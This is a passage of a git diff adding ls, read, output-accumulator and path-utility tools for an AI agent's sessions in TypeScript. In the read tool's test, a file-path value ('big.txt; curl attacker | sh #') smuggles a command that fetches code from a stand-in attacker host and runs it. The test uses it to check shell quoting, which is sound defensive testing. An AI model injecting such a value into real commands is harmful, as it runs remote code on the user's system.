ls: createLsTool(cwd, options?.ls), + }; +} diff --git a/src/agents/sessions/tools/ls.ts b/src/agents/sessions/tools/ls.ts new file mode 100644 index 00000000000..bbd951fc141 --- /dev/null +++ b/src/agents/sessions/tools/ls.ts @@ -0,0 +1,245 @@ +import { existsSync, readdirSync, statSync } from "node:fs"; +import nodePath from "node:path"; +import { Text } from "@earendil-works/pi-tui"; +import { Type } from "typebox"; +import { keyHint } from "../../modes/interactive/components/keybinding-hints.js"; +import type { AgentTool } from "../../runtime/index.js"; +import type { ToolDefinition, ToolRenderResultOptions } from "../extensions/types.js"; +import { resolveToCwd } from "./path-utils.js"; +import { getTextOutput, invalidArgText, shortenPath, str } from "./render-utils.js"; +import type { LsToolDetails } from "./tool-contracts.js"; +import { wrapToolDefinition } from "./tool-definition-wrapper.js"; +import { DEFAULT_MAX_BYTES, formatSize, truncateHead } from "./truncate.js"; + +const lsSchema = Type.Object({ + path: Type.Optional( + Type.String({ description: "Directory to list (default: current directory)" }), + ), + limit: Type.Optional( + Type.Number({ description: "Maximum number of entries to return (default: 500)" }), + ), +}); +export type { LsToolDetails, LsToolInput } from "./tool-contracts.js"; + +const DEFAULT_LIMIT = 500; + +/** + * Pluggable operations for the ls tool. + * Override these to delegate directory listing to remote systems (for example SSH). + */ +export interface LsOperations { + /** Check if path exists */ + exists: (absolutePath: string) => Promise | boolean; + /** Get file or directory stats. Throws if not found. */ + stat: ( + absolutePath: string, + ) => Promise<{ isDirectory: () => boolean }> | { isDirectory: () => boolean }; + /** Read directory entries */ + readdir: (absolutePath: string) => Promise | string[]; +} + +const defaultLsOperations: LsOperations = { + exists: existsSync, + stat: statSync, + readdir: readdirSync, +}; + +export interface LsToolOptions { + /** Custom operations for directory listing. Default: local filesystem */ + operations?: LsOperations; +} + +function formatLsCall( + args: { path?: string; limit?: number } | undefined, + theme: typeof import("../../modes/interactive/theme/theme.js").theme, +): string { + const rawPath = str(args?.path); + const path = rawPath !== null ? shortenPath(rawPath || ".") : null; + const limit = args?.limit; + const invalidArg = invalidArgText(theme); + let text = `${theme.fg("toolTitle", theme.bold("ls"))} ${path === null ? invalidArg : theme.fg("accent", path)}`; + if (limit !== undefined) { + text += theme.fg("toolOutput", ` (limit ${limit})`); + } + return text; +} + +function formatLsResult( + result: { + content: Array<{ type: string; text?: string; data?: string; mimeType?: string }>; + details?: LsToolDetails; + }, + options: ToolRenderResultOptions, + theme: typeof import("../../modes/interactive/theme/theme.js").theme, + showImages: boolean, +): string { + const output = getTextOutput(result, showImages).trim(); + let text = ""; + if (output) { + const lines = output.split("\n"); + const maxLines = options.expanded ? lines.length : 20; + const displayLines = lines.slice(0, maxLines); + const remaining = lines.length - maxLines; + text += `\n${displayLines.map((line) => theme.fg("toolOutput", line)).join("\n")}`; + if (remaining > 0) { + text += `${theme.fg("muted", `\n... (${remaining} more lines,`)} ${keyHint("app.tools.expand", "to expand")})`; + } + } + + const entryLimit = result.details?.entryLimitReached; + const truncation = result.details?.truncation; + if (entryLimit || truncation?.truncated) { + const warnings: string[] = []; + if (entryLimit) { + warnings.push(`${entryLimit} entries limit`); + } + if (truncation?.truncated) { + warnings.push(`${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit`); + } + text += `\n${theme.fg("warning", `[Truncated: ${warnings.join(", ")}]`)}`; + } + return text; +} + +export function createLsToolDefinition( + cwd: string, + options?: LsToolOptions, +): ToolDefinition { + const ops = options?.operations ?? defaultLsOperations; + return { + name: "ls", + label: "ls", + description: `List directory contents. Returns entries sorted alphabetically, with '/' suffix for directories. Includes dotfiles. Output is truncated to ${DEFAULT_LIMIT} entries or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first).`, + promptSnippet: "List directory contents", + parameters: lsSchema, + async execute( + toolCallId, + { path, limit }: { path?: string; limit?: number }, + signal?: AbortSignal, + onUpdate?, + ctx?, + ) { + void toolCallId; + void onUpdate; + void ctx; + return new Promise((resolve, reject) => { + if (signal?.aborted) { + reject(new Error("Operation aborted")); + return; + } + + const onAbort = () => reject(new Error("Operation aborted")); + signal?.addEventListener("abort", onAbort, { once: true }); + + void (async () => { + try { + const dirPath = resolveToCwd(path || ".", cwd); + const effectiveLimit = limit ?? DEFAULT_LIMIT; + + // Check if path exists. + if (!(await ops.exists(dirPath))) { + reject(new Error(`Path not found: ${dirPath}`)); + return; + } + + // Check if path is a directory. + const stat = await ops.stat(dirPath); + if (!stat.isDirectory()) { + reject(new Error(`Not a directory: ${dirPath}`)); + return; + } + + // Read directory entries. + let entries: string[]; + try { + entries = await ops.readdir(dirPath); + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + reject(new Error(`Cannot read directory: ${message}`)); + return; + } + + // Sort alphabetically, case-insensitive. + entries.sort((a, b) => a.toLowerCase().localeCompare(b.toLowerCase())); + + // Format entries with directory indicators. + const results: string[] = []; + let entryLimitReached = false; + for (const entry of entries) { + if (results.length >= effectiveLimit) { + entryLimitReached = true; + break; + } + + const fullPath = nodePath.join(dirPath, entry); + let suffix = ""; + try { + const entryStat = await ops.stat(fullPath); + if (entryStat.isDirectory()) { + suffix = "/"; + } + } catch { + // Skip entries we cannot stat. + continue; + } + results.push(entry + suffix); + } + + signal?.removeEventListener("abort", onAbort); + + if (results.length === 0) { + resolve({ + content: [{ type: "text", text: "(empty directory)" }], + details: undefined, + }); + return; + } + + const rawOutput = results.join("\n"); + // Apply byte truncation. There is no separate line limit because entry count is already capped. + const truncation = truncateHead(rawOutput, { maxLines: Number.MAX_SAFE_INTEGER }); + let output = truncation.content; + const details: LsToolDetails = {}; + // Build actionable notices for truncation and entry limits. + const notices: string[] = []; + if (entryLimitReached) { + notices.push( + `${effectiveLimit} entries limit reached. Use limit=${effectiveLimit * 2} for more`, + ); + details.entryLimitReached = effectiveLimit; + } + if (truncation.truncated) { + notices.push(`${formatSize(DEFAULT_MAX_BYTES)} limit reached`); + details.truncation = truncation; + } + if (notices.length > 0) { + output += `\n\n[${notices.join(". ")}]`; + } + + resolve({ + content: [{ type: "text", text: output }], + details: Object.keys(details).length > 0 ? details : undefined, + }); + } catch (e: unknown) { + signal?.removeEventListener("abort", onAbort); + reject(e); + } + })(); + }); + }, + renderCall(args, theme, context) { + const text = (context.lastComponent as Text | undefined) ?? new Text("", 0, 0); + text.setText(formatLsCall(args, theme)); + return text; + }, + renderResult(result, options, theme, context) { + const text = (context.lastComponent as Text | undefined) ?? new Text("", 0, 0); + text.setText(formatLsResult(result, options, theme, context.showImages)); + return text; + }, + }; +} + +export function createLsTool(cwd: string, options?: LsToolOptions): AgentTool { + return wrapToolDefinition(createLsToolDefinition(cwd, options)); +} diff --git a/src/agents/sessions/tools/output-accumulator.test.ts b/src/agents/sessions/tools/output-accumulator.test.ts new file mode 100644 index 00000000000..dc1833137fc --- /dev/null +++ b/src/agents/sessions/tools/output-accumulator.test.ts @@ -0,0 +1,23 @@ +import { rm, stat } from "node:fs/promises"; +import { describe, expect, it } from "vitest"; +import { OutputAccumulator } from "./output-accumulator.js"; + +describe("OutputAccumulator", () => { + it("stores spilled full output in an owner-only temp file", async () => { + const accumulator = new OutputAccumulator({ + maxBytes: 8, + maxLines: 10, + tempFilePrefix: "openclaw-output-test", + }); + + accumulator.append(Buffer.from("secret output")); + accumulator.finish(); + const snapshot = accumulator.snapshot({ persistIfTruncated: true }); + await accumulator.closeTempFile(); + + expect(snapshot.fullOutputPath).toBeDefined(); + const mode = (await stat(snapshot.fullOutputPath!)).mode & 0o777; + expect(mode & 0o077).toBe(0); + await rm(snapshot.fullOutputPath!, { force: true }); + }); +}); diff --git a/src/agents/sessions/tools/output-accumulator.ts b/src/agents/sessions/tools/output-accumulator.ts new file mode 100644 index 00000000000..a6d838c52a4 --- /dev/null +++ b/src/agents/sessions/tools/output-accumulator.ts @@ -0,0 +1,224 @@ +import type { WriteStream } from "node:fs"; +import { + DEFAULT_MAX_BYTES, + DEFAULT_MAX_LINES, + type TruncationResult, + truncateTail, +} from "./truncate.js"; +import { createPrivateTempWriteStream } from "./private-temp-file.js"; + +export interface OutputAccumulatorOptions { + maxLines?: number; + maxBytes?: number; + tempFilePrefix?: string; +} + +export interface OutputSnapshot { + content: string; + truncation: TruncationResult; + fullOutputPath?: string; +} + +function byteLength(text: string): number { + return Buffer.byteLength(text, "utf-8"); +} + +/** + * Incrementally tracks streaming output with bounded memory. + * + * Appends decode chunks with a streaming UTF-8 decoder, keeps only a decoded + * tail for display snapshots, and opens a temp file when the full output needs + * to be preserved. + */ +export class OutputAccumulator { + private readonly maxLines: number; + private readonly maxBytes: number; + private readonly maxRollingBytes: number; + private readonly tempFilePrefix: string; + private readonly decoder = new TextDecoder(); + + private rawChunks: Buffer[] = []; + private tailText = ""; + private tailBytes = 0; + private tailStartsAtLineBoundary = true; + private totalRawBytes = 0; + private totalDecodedBytes = 0; + private completedLines = 0; + private totalLines = 0; + private currentLineBytes = 0; + private hasOpenLine = false; + private finished = false; + + private tempFilePath: string | undefined; + private tempFileStream: WriteStream | undefined; + + constructor(options: OutputAccumulatorOptions = {}) { + this.maxLines = options.maxLines ?? DEFAULT_MAX_LINES; + this.maxBytes = options.maxBytes ?? DEFAULT_MAX_BYTES; + this.maxRollingBytes = Math.max(this.maxBytes * 2, 1); + this.tempFilePrefix = options.tempFilePrefix ?? "openclaw-output"; + } + + append(data: Buffer): void { + if (this.finished) { + throw new Error("Cannot append to a finished output accumulator"); + } + + this.totalRawBytes += data.length; + this.appendDecodedText(this.decoder.decode(data, { stream: true })); + + if (this.tempFileStream || this.shouldUseTempFile()) { + this.ensureTempFile(); + this.tempFileStream?.write(data); + } else if (data.length > 0) { + this.rawChunks.push(data); + } + } + + finish(): void { + if (this.finished) { + return; + } + this.finished = true; + this.appendDecodedText(this.decoder.decode()); + if (this.shouldUseTempFile()) { + this.ensureTempFile(); + } + } + + snapshot(options: { persistIfTruncated?: boolean } = {}): OutputSnapshot { + const tailTruncation = truncateTail(this.getSnapshotText(), { + maxLines: this.maxLines, + maxBytes: this.maxBytes, + }); + const truncated = this.totalLines > this.maxLines || this.totalDecodedBytes > this.maxBytes; + const truncatedBy = truncated + ? (tailTruncation.truncatedBy ?? (this.totalDecodedBytes > this.maxBytes ? "bytes" : "lines")) + : null; + const truncation: TruncationResult = { + ...tailTruncation, + truncated, + truncatedBy, + totalLines: this.totalLines, + totalBytes: this.totalDecodedBytes, + maxLines: this.maxLines, + maxBytes: this.maxBytes, + }; + + if (options.persistIfTruncated && truncation.truncated) { + this.ensureTempFile(); + } + + return { + content: truncation.content, + truncation, + fullOutputPath: this.tempFilePath, + }; + } + + async closeTempFile(): Promise { + if (!this.tempFileStream) { + return; + } + + const stream = this.tempFileStream; + this.tempFileStream = undefined; + + await new Promise((resolve, reject) => { + const onError = (error: Error) => { + stream.off("finish", onFinish); + reject(error); + }; + const onFinish = () => { + stream.off("error", onError); + resolve(); + }; + stream.once("error", onError); + stream.once("finish", onFinish); + stream.end(); + }); + } + + getLastLineBytes(): number { + return this.currentLineBytes; + } + + private appendDecodedText(text: string): void { + if (text.length === 0) { + return; + } + + const bytes = byteLength(text); + this.totalDecodedBytes += bytes; + this.tailText += text; + this.tailBytes += bytes; + if (this.tailBytes > this.maxRollingBytes * 2) { + this.trimTail(); + } + + let newlines = 0; + let lastNewline = -1; + for (let i = text.indexOf("\n"); i !== -1; i = text.indexOf("\n", i + 1)) { + newlines++; + lastNewline = i; + } + if (newlines === 0) { + this.currentLineBytes += bytes; + this.hasOpenLine = true; + } else { + this.completedLines += newlines; + const tail = text.slice(lastNewline + 1); + this.currentLineBytes = byteLength(tail); + this.hasOpenLine = tail.length > 0; + } + this.totalLines = this.completedLines + (this.hasOpenLine ? 1 : 0); + } + + private trimTail(): void { + const buffer = Buffer.from(this.tailText, "utf-8"); + if (buffer.length <= this.maxRollingBytes) { + this.tailBytes = buffer.length; + return; + } + + let start = buffer.length - this.maxRollingBytes; + while (start < buffer.length && (buffer[start] & 0xc0) === 0x80) { + start++; + } + + this.tailStartsAtLineBoundary = + start === 0 ? this.tailStartsAtLineBoundary : buffer[start - 1] === 0x0a; + this.tailText = buffer.subarray(start).toString("utf-8"); + this.tailBytes = byteLength(this.tailText); + } + + private getSnapshotText(): string { + if (this.tailStartsAtLineBoundary) { + return this.tailText; + } + + const firstNewline = this.tailText.indexOf("\n"); + return firstNewline === -1 ? this.tailText : this.tailText.slice(firstNewline + 1); + } + + private shouldUseTempFile(): boolean { + return ( + this.totalRawBytes > this.maxBytes || + this.totalDecodedBytes > this.maxBytes || + this.totalLines > this.maxLines + ); + } + + private ensureTempFile(): void { + if (this.tempFilePath) { + return; + } + const tempFile = createPrivateTempWriteStream(this.tempFilePrefix); + this.tempFilePath = tempFile.path; + this.tempFileStream = tempFile.stream; + for (const chunk of this.rawChunks) { + this.tempFileStream.write(chunk); + } + this.rawChunks = []; + } +} diff --git a/src/agents/sessions/tools/path-utils.ts b/src/agents/sessions/tools/path-utils.ts new file mode 100644 index 00000000000..fd54957ded0 --- /dev/null +++ b/src/agents/sessions/tools/path-utils.ts @@ -0,0 +1,102 @@ +import { accessSync, constants } from "node:fs"; +import * as os from "node:os"; +import { isAbsolute, resolve as resolvePath } from "node:path"; +import { fileURLToPath } from "node:url"; + +const UNICODE_SPACES = /[\u00A0\u2000-\u200A\u202F\u205F\u3000]/g; +const NARROW_NO_BREAK_SPACE = "\u202F"; +function normalizeUnicodeSpaces(str: string): string { + return str.replace(UNICODE_SPACES, " "); +} + +function tryMacOSScreenshotPath(filePath: string): string { + return filePath.replace(/ (AM|PM)\./gi, `${NARROW_NO_BREAK_SPACE}$1.`); +} + +function tryNFDVariant(filePath: string): string { + // macOS stores filenames in NFD (decomposed) form, try converting user input to NFD + return filePath.normalize("NFD"); +} + +function tryCurlyQuoteVariant(filePath: string): string { + // macOS uses U+2019 (right single quotation mark) in screenshot names like "Capture d'écran" + // Users typically type U+0027 (straight apostrophe) + return filePath.replace(/'/g, "\u2019"); +} + +function fileExists(filePath: string): boolean { + try { + accessSync(filePath, constants.F_OK); + return true; + } catch { + return false; + } +} + +function normalizeAtPrefix(filePath: string): string { + return filePath.startsWith("@") ? filePath.slice(1) : filePath; +} + +export function expandPath(filePath: string): string { + const normalized = normalizeUnicodeSpaces(normalizeAtPrefix(filePath)); + if (normalized.startsWith("file://")) { + try { + return fileURLToPath(normalized); + } catch { + return normalized; + } + } + if (normalized === "~") { + return os.homedir(); + } + if (normalized.startsWith("~/")) { + return os.homedir() + normalized.slice(1); + } + return normalized; +} + +/** + * Resolve a path relative to the given cwd. + * Handles ~ expansion and absolute paths. + */ +export function resolveToCwd(filePath: string, cwd: string): string { + const expanded = expandPath(filePath); + if (isAbsolute(expanded)) { + return expanded; + } + return resolvePath(cwd, expanded); +} + +export function resolveReadPath(filePath: string, cwd: string): string { + const resolved = resolveToCwd(filePath, cwd); + + if (fileExists(resolved)) { + return resolved; + } + + // Try macOS AM/PM variant (narrow no-break space before AM/PM) + const amPmVariant = tryMacOSScreenshotPath(resolved); + if (amPmVariant !== resolved && fileExists(amPmVariant)) { + return amPmVariant; + } + + // Try NFD variant (macOS stores filenames in NFD form) + const nfdVariant = tryNFDVariant(resolved); + if (nfdVariant !== resolved && fileExists(nfdVariant)) { + return nfdVariant; + } + + // Try curly quote variant (macOS uses U+2019 in screenshot names) + const curlyVariant = tryCurlyQuoteVariant(resolved); + if (curlyVariant !== resolved && fileExists(curlyVariant)) { + return curlyVariant; + } + + // Try combined NFD + curly quote (for French macOS screenshots like "Capture d'écran") + const nfdCurlyVariant = tryCurlyQuoteVariant(nfdVariant); + if (nfdCurlyVariant !== resolved && fileExists(nfdCurlyVariant)) { + return nfdCurlyVariant; + } + + return resolved; +} diff --git a/src/agents/sessions/tools/private-temp-file.ts b/src/agents/sessions/tools/private-temp-file.ts new file mode 100644 index 00000000000..ed2de5bd850 --- /dev/null +++ b/src/agents/sessions/tools/private-temp-file.ts @@ -0,0 +1,16 @@ +import { randomBytes } from "node:crypto"; +import { createWriteStream, type WriteStream } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +export function createPrivateTempWriteStream(prefix: string): { + path: string; + stream: WriteStream; +} { + const id = randomBytes(8).toString("hex"); + const filePath = join(tmpdir(), `${prefix}-${id}.log`); + return { + path: filePath, + stream: createWriteStream(filePath, { flags: "wx", mode: 0o600 }), + }; +} diff --git a/src/agents/sessions/tools/read.test.ts b/src/agents/sessions/tools/read.test.ts new file mode 100644 index 00000000000..4a828d76dde --- /dev/null +++ b/src/agents/sessions/tools/read.test.ts @@ -0,0 +1,23 @@ +import { Buffer } from "node:buffer"; +import { describe, expect, it } from "vitest"; +import { createReadToolDefinition } from "./read.js"; +import { DEFAULT_MAX_BYTES } from "./truncate.js"; + +describe("read tool", () => { + it("shell-quotes the long-first-line fallback path", async () => { + const path = "big.txt; curl attacker | sh #"; + const tool = createReadToolDefinition("/workspace", { + operations: { + access: async () => {}, + detectImageMimeType: async () => null, + readFile: async () => Buffer.from("x".repeat(DEFAULT_MAX_BYTES + 1)), + }, + }); + + const result = await tool.execute("call-1", { path }, undefined, undefined, {} as never); + const text = result.content[0]?.type === "text" ? result.content[0].text : ""; + + expect(text).toContain(`sed -n '1p' '${path}' | head -c ${DEFAULT_MAX_BYTES}`); + expect(text).not.toContain(`sed -n '1p' ${path} | head`); + }); +}); diff --git a/src/agents/sessions/tools/read.ts b/src/agents/sessions/tools/read.ts new file mode 100644 index 00000000000..72a4e907d85 --- /dev/null +++ b/src/agents/sessions/tools/read.ts @@ -0,0 +1,417 @@ +import { constants } from "node:fs"; +import { access as fsAccess, readFile as fsReadFile } from "node:fs/promises"; +import { basename, dirname, isAbsolute, relative, resolve as resolvePath, sep } from "node:path"; +import { Text } from "@earendil-works/pi-tui"; +import { Type } from "typebox"; +import type { ImageContent, Model, TextContent } from "../../../llm/types.js"; +import { getReadmePath } from "../../config.js"; +import { keyHint, keyText } from "../../modes/interactive/components/keybinding-hints.js"; +import { + getLanguageFromPath, + highlightCode, + type Theme, +} from "../../modes/interactive/theme/theme.js"; +import type { AgentTool } from "../../runtime/index.js"; +import { formatDimensionNote, resizeImage } from "../../utils/image-resize.js"; +import { detectSupportedImageMimeTypeFromFile } from "../../utils/mime.js"; +import { formatPathRelativeToCwdOrAbsolute } from "../../utils/paths.js"; +import type { ToolDefinition, ToolRenderResultOptions } from "../extensions/types.js"; +import { resolveReadPath } from "./path-utils.js"; +import { getTextOutput, invalidArgText, replaceTabs, shortenPath, str } from "./render-utils.js"; +import type { ReadToolDetails } from "./tool-contracts.js"; +import { wrapToolDefinition } from "./tool-definition-wrapper.js"; +import { DEFAULT_MAX_BYTES, DEFAULT_MAX_LINES, formatSize, truncateHead } from "./truncate.js"; + +const readSchema = Type.Object({ + path: Type.String({ description: "Path to the file to read (relative or absolute)" }), + offset: Type.Optional( + Type.Number({ description: "Line number to start reading from (1-indexed)" }), + ), + limit: Type.Optional(Type.Number({ description: "Maximum number of lines to read" })), +}); +export type { ReadToolDetails, ReadToolInput } from "./tool-contracts.js"; + +interface CompactReadClassification { + kind: "docs" | "resource" | "skill"; + label: string; +} + +const COMPACT_RESOURCE_FILE_NAMES = new Set(["AGENTS.md", "AGENTS.MD", "CLAUDE.md", "CLAUDE.MD"]); + +/** + * Pluggable operations for the read tool. + * Override these to delegate file reading to remote systems (for example SSH). + */ +export interface ReadOperations { + /** Read file contents as a Buffer */ + readFile: (absolutePath: string) => Promise; + /** Check if file is readable (throw if not) */ + access: (absolutePath: string) => Promise; + /** Detect image MIME type, return null or undefined for non-images */ + detectImageMimeType?: (absolutePath: string) => Promise; +} + +const defaultReadOperations: ReadOperations = { + readFile: (path) => fsReadFile(path), + access: (path) => fsAccess(path, constants.R_OK), + detectImageMimeType: detectSupportedImageMimeTypeFromFile, +}; + +export interface ReadToolOptions { + /** Whether to auto-resize images to 2000x2000 max. Default: true */ + autoResizeImages?: boolean; + /** Custom operations for file reading. Default: local filesystem */ + operations?: ReadOperations; +} + +type ReadRenderArgs = { path?: string; file_path?: string; offset?: number; limit?: number }; + +function formatReadLineRange(args: ReadRenderArgs | undefined, theme: Theme): string { + if (args?.offset === undefined && args?.limit === undefined) { + return ""; + } + const startLine = args.offset ?? 1; + const endLine = args.limit !== undefined ? startLine + args.limit - 1 : ""; + return theme.fg("warning", `:${startLine}${endLine ? `-${endLine}` : ""}`); +} + +function formatReadCall(args: ReadRenderArgs | undefined, theme: Theme): string { + const rawPath = str(args?.file_path ?? args?.path); + const path = rawPath !== null ? shortenPath(rawPath) : null; + const invalidArg = invalidArgText(theme); + const pathDisplay = + path === null ? invalidArg : path ? theme.fg("accent", path) : theme.fg("toolOutput", "..."); + return `${theme.fg("toolTitle", theme.bold("read"))} ${pathDisplay}${formatReadLineRange(args, theme)}`; +} + +function trimTrailingEmptyLines(lines: string[]): string[] { + let end = lines.length; + while (end > 0 && lines[end - 1] === "") { + end--; + } + return lines.slice(0, end); +} + +function getNonVisionImageNote(model: Model | undefined): string | undefined { + if (!model || model.input.includes("image")) { + return undefined; + } + return "[Current model does not support images. The image will be omitted from this request.]"; +} + +function toPosixPath(filePath: string): string { + return filePath.split(sep).join("/"); +} + +function quotePosixShellArg(value: string): string { + return `'${value.replaceAll("'", "'\\''")}'`; +} + +function getOpenClawDocsClassification( + absolutePath: string, +): CompactReadClassification | undefined { + const packageRoot = dirname(getReadmePath()); + const relativePath = relative(resolvePath(packageRoot), resolvePath(absolutePath)); + if ( + relativePath === "" || + relativePath === ".." || + relativePath.startsWith(`..${sep}`) || + isAbsolute(relativePath) + ) { + return undefined; + } + + const label = toPosixPath(relativePath); + if (label === "README.md" || label.startsWith("docs/") || label.startsWith("examples/")) { + return { kind: "docs", label }; + } + return undefined; +} + +function getCompactReadClassification( + args: ReadRenderArgs | undefined, + cwd: string, +): CompactReadClassification | undefined { + const rawPath = str(args?.file_path ?? args?.path); + if (!rawPath) { + return undefined; + } + + const absolutePath = resolveReadPath(rawPath, cwd); + const fileName = basename(absolutePath); + if (fileName === "SKILL.md") { + return { kind: "skill", label: basename(dirname(absolutePath)) || fileName }; + } + + const docsClassification = getOpenClawDocsClassification(absolutePath); + if (docsClassification) { + return docsClassification; + } + + if (COMPACT_RESOURCE_FILE_NAMES.has(fileName)) { + return { kind: "resource", label: formatPathRelativeToCwdOrAbsolute(absolutePath, cwd) }; + } + + return undefined; +} + +function formatCompactReadCall( + classification: CompactReadClassification, + args: ReadRenderArgs | undefined, + theme: Theme, +): string { + const expandHint = theme.fg("dim", ` (${keyText("app.tools.expand")} to expand)`); + if (classification.kind === "skill") { + return ( + theme.fg("customMessageLabel", `\u001b[1m[skill]\u001b[22m `) + + theme.fg("customMessageText", classification.label) + + formatReadLineRange(args, theme) + + expandHint + ); + } + + return ( + theme.fg("toolTitle", theme.bold(`read ${classification.kind}`)) + + " " + + theme.fg("accent", classification.label) + + formatReadLineRange(args, theme) + + expandHint + ); +} + +function formatReadResult( + args: ReadRenderArgs | undefined, + result: { content: (TextContent | ImageContent)[]; details?: ReadToolDetails }, + options: ToolRenderResultOptions, + theme: Theme, + showImages: boolean, + cwd: string, + isError: boolean, +): string { + if (!options.expanded && !isError && getCompactReadClassification(args, cwd)) { + return ""; + } + + const rawPath = str(args?.file_path ?? args?.path); + const output = getTextOutput(result, showImages); + const lang = rawPath ? getLanguageFromPath(rawPath) : undefined; + const renderedLines = lang ? highlightCode(replaceTabs(output), lang) : output.split("\n"); + const lines = trimTrailingEmptyLines(renderedLines); + const maxLines = options.expanded ? lines.length : 10; + const displayLines = lines.slice(0, maxLines); + const remaining = lines.length - maxLines; + let text = `\n${displayLines.map((line) => (lang ? replaceTabs(line) : theme.fg("toolOutput", replaceTabs(line)))).join("\n")}`; + if (remaining > 0) { + text += `${theme.fg("muted", `\n... (${remaining} more lines,`)} ${keyHint("app.tools.expand", "to expand")})`; + } + + const truncation = result.details?.truncation; + if (truncation?.truncated) { + if (truncation.firstLineExceedsLimit) { + text += `\n${theme.fg("warning", `[First line exceeds ${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit]`)}`; + } else if (truncation.truncatedBy === "lines") { + text += `\n${theme.fg("warning", `[Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines (${truncation.maxLines ?? DEFAULT_MAX_LINES} line limit)]`)}`; + } else { + text += `\n${theme.fg("warning", `[Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)]`)}`; + } + } + return text; +} + +export function createReadToolDefinition( + cwd: string, + options?: ReadToolOptions, +): ToolDefinition { + const autoResizeImages = options?.autoResizeImages ?? true; + const ops = options?.operations ?? defaultReadOperations; + return { + name: "read", + label: "read", + description: `Read the contents of a file. Supports text files and images (jpg, png, gif, webp). Images are sent as attachments. For text files, output is truncated to ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). Use offset/limit for large files. When you need the full file, continue with offset until complete.`, + promptSnippet: "Read file contents", + promptGuidelines: ["Use read to examine files instead of cat or sed."], + parameters: readSchema, + async execute( + toolCallId, + { path, offset, limit }: { path: string; offset?: number; limit?: number }, + signal?: AbortSignal, + onUpdate?, + ctx?, + ) { + void toolCallId; + void onUpdate; + const absolutePath = resolveReadPath(path, cwd); + return new Promise<{ + content: (TextContent | ImageContent)[]; + details: ReadToolDetails | undefined; + }>((resolve, reject) => { + if (signal?.aborted) { + reject(new Error("Operation aborted")); + return; + } + let aborted = false; + const onAbort = () => { + aborted = true; + reject(new Error("Operation aborted")); + }; + signal?.addEventListener("abort", onAbort, { once: true }); + + void (async () => { + try { + // Check if file exists and is readable. + await ops.access(absolutePath); + if (aborted) { + return; + } + const mimeType = ops.detectImageMimeType + ? await ops.detectImageMimeType(absolutePath) + : undefined; + let content: (TextContent | ImageContent)[]; + let details: ReadToolDetails | undefined; + const nonVisionImageNote = getNonVisionImageNote(ctx?.model); + if (mimeType) { + // Read image as binary. + const buffer = await ops.readFile(absolutePath); + const base64 = buffer.toString("base64"); + if (autoResizeImages) { + // Resize image if needed before sending it back to the model. + const resized = await resizeImage({ type: "image", data: base64, mimeType }); + if (!resized) { + let textNote = `Read image file [${mimeType}]\n[Image omitted: could not be resized below the inline image size limit.]`; + if (nonVisionImageNote) { + textNote += `\n${nonVisionImageNote}`; + } + content = [{ type: "text", text: textNote }]; + } else { + const dimensionNote = formatDimensionNote(resized); + let textNote = `Read image file [${resized.mimeType}]`; + if (dimensionNote) { + textNote += `\n${dimensionNote}`; + } + if (nonVisionImageNote) { + textNote += `\n${nonVisionImageNote}`; + } + content = [ + { type: "text", text: textNote }, + { type: "image", data: resized.data, mimeType: resized.mimeType }, + ]; + } + } else { + let textNote = `Read image file [${mimeType}]`; + if (nonVisionImageNote) { + textNote += `\n${nonVisionImageNote}`; + } + content = [ + { type: "text", text: textNote }, + { type: "image", data: base64, mimeType }, + ]; + } + } else { + // Read text content. + const buffer = await ops.readFile(absolutePath); + const textContent = buffer.toString("utf-8"); + const allLines = textContent.split("\n"); + const totalFileLines = allLines.length; + // Apply offset if specified. Convert from 1-indexed input to 0-indexed array access. + const startLine = offset ? Math.max(0, offset - 1) : 0; + const startLineDisplay = startLine + 1; + // Check if offset is out of bounds. + if (startLine >= allLines.length) { + throw new Error( + `Offset ${offset} is beyond end of file (${allLines.length} lines total)`, + ); + } + let selectedContent: string; + let userLimitedLines: number | undefined; + // If limit is specified by the user, honor it first. Otherwise truncateHead decides. + if (limit !== undefined) { + const endLine = Math.min(startLine + limit, allLines.length); + selectedContent = allLines.slice(startLine, endLine).join("\n"); + userLimitedLines = endLine - startLine; + } else { + selectedContent = allLines.slice(startLine).join("\n"); + } + // Apply truncation, respecting both line and byte limits. + const truncation = truncateHead(selectedContent); + let outputText: string; + if (truncation.firstLineExceedsLimit) { + // First line alone exceeds the byte limit. Point the model at a bash fallback. + const firstLineSize = formatSize(Buffer.byteLength(allLines[startLine], "utf-8")); + outputText = `[Line ${startLineDisplay} is ${firstLineSize}, exceeds ${formatSize(DEFAULT_MAX_BYTES)} limit. Use bash: sed -n '${startLineDisplay}p' ${quotePosixShellArg(path)} | head -c ${DEFAULT_MAX_BYTES}]`; + details = { truncation }; + } else if (truncation.truncated) { + // Truncation occurred. Build an actionable continuation notice. + const endLineDisplay = startLineDisplay + truncation.outputLines - 1; + const nextOffset = endLineDisplay + 1; + outputText = truncation.content; + if (truncation.truncatedBy === "lines") { + outputText += `\n\n[Showing lines ${startLineDisplay}-${endLineDisplay} of ${totalFileLines}. Use offset=${nextOffset} to continue.]`; + } else { + outputText += `\n\n[Showing lines ${startLineDisplay}-${endLineDisplay} of ${totalFileLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Use offset=${nextOffset} to continue.]`; + } + details = { truncation }; + } else if ( + userLimitedLines !== undefined && + startLine + userLimitedLines < allLines.length + ) { + // User-specified limit stopped early, but the file still has more content. + const remaining = allLines.length - (startLine + userLimitedLines); + const nextOffset = startLine + userLimitedLines + 1; + outputText = `${truncation.content}\n\n[${remaining} more lines in file. Use offset=${nextOffset} to continue.]`; + } else { + // No truncation and no remaining user-limited content. + outputText = truncation.content; + } + content = [{ type: "text", text: outputText }]; + } + + if (aborted) { + return; + } + signal?.removeEventListener("abort", onAbort); + resolve({ content, details }); + } catch (error: unknown) { + signal?.removeEventListener("abort", onAbort); + if (!aborted) { + reject(error); + } + } + })(); + }); + }, + renderCall(args, theme, context) { + const text = (context.lastComponent as Text | undefined) ?? new Text("", 0, 0); + const classification = !context.expanded + ? getCompactReadClassification(args, context.cwd) + : undefined; + text.setText( + classification + ? formatCompactReadCall(classification, args, theme) + : 